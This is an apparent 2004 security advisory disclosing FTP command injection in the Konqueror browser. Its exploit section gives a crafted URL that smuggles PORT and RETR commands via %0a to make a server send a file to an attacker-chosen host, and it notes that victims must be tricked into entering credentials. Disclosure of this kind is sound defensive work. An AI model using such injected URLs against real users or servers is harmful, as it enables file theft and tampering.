7a69Adv#16 - Konqueror FTP command injection

[Albert Puigsech Galicia <ripe () 7a69ezine org>]

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       7a69ezine Advisories                      7a69Adv#16
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  http://www.7a69ezine.org                            [05/12/2004]
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Title:        Konqueror FTP command injection

Author:       Albert Puigsech Galicia - <ripe () 7a69ezine org>

Software:     Konqueror browser

Versions:     >= 3.3.1

Remote:       yes

Exploit:      yes

Severity:     Low-Medium

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I. Introduction.

 Konqueror is a very multifuncional HTTP browser included on KDE base package. 
Like others browsers it can use more protocols, for example FTP. This 
aplication is usualy used to navigate through the filesystems.


II. Description.

 In order to access to a server FTP using Internet Explorer you write 
"ftp://ftpuser:ftppass@server/directory"; in the directions's bar and then the 
navigator connects to the server and executes the following commands (and 
other that have omitted because they are not important for this stuff).

   USER ftpuser
   PASS ftppass
   CWD /directory/

 The security problem resides in which is posible to inject FTP commands on 
the URL adding at the code %0a followed by your injected commands. If you do 
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a"; it will execute 
those commands.

   USER ftpuser
   PASS ftppass
   CWD /directory
   somecommand

 The last line is an erroneous command, but it's not a problem because 
'somecommand' has already been executed.


III. Exploit

 You need to deceive a user to go to your URL and then to introduce a valid 
user and password. So yes! The explotation also requires to apply social 
engineering. Then you can do a lot of things using this bug like create or 
delete files and directories, but probably, the most interesting thing is to 
download files. Its posible to do that using this URL;

    ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

 Then the server will connect to a.b.c.d and port e,f (see FTP RFC to 
translate the port number) and will send the file data.


IV. Patch

 Konqueror developers have been contacted, and patch will be avaliable soon.


V. Timeline

01/12/2004  -  Bug discovered
02/12/2004  -  KDE developers contacted
03/12/2004  -  Fast developers reply
03/12/2004  -  IE also afected, so we decide to publish the bug
05/12/2004  -  Advisor released



VI. Extra data

 You can find more 7a69ezine advisories on this following link:

    http://www.7a69ezine.org/avisos/propios [spanish info]

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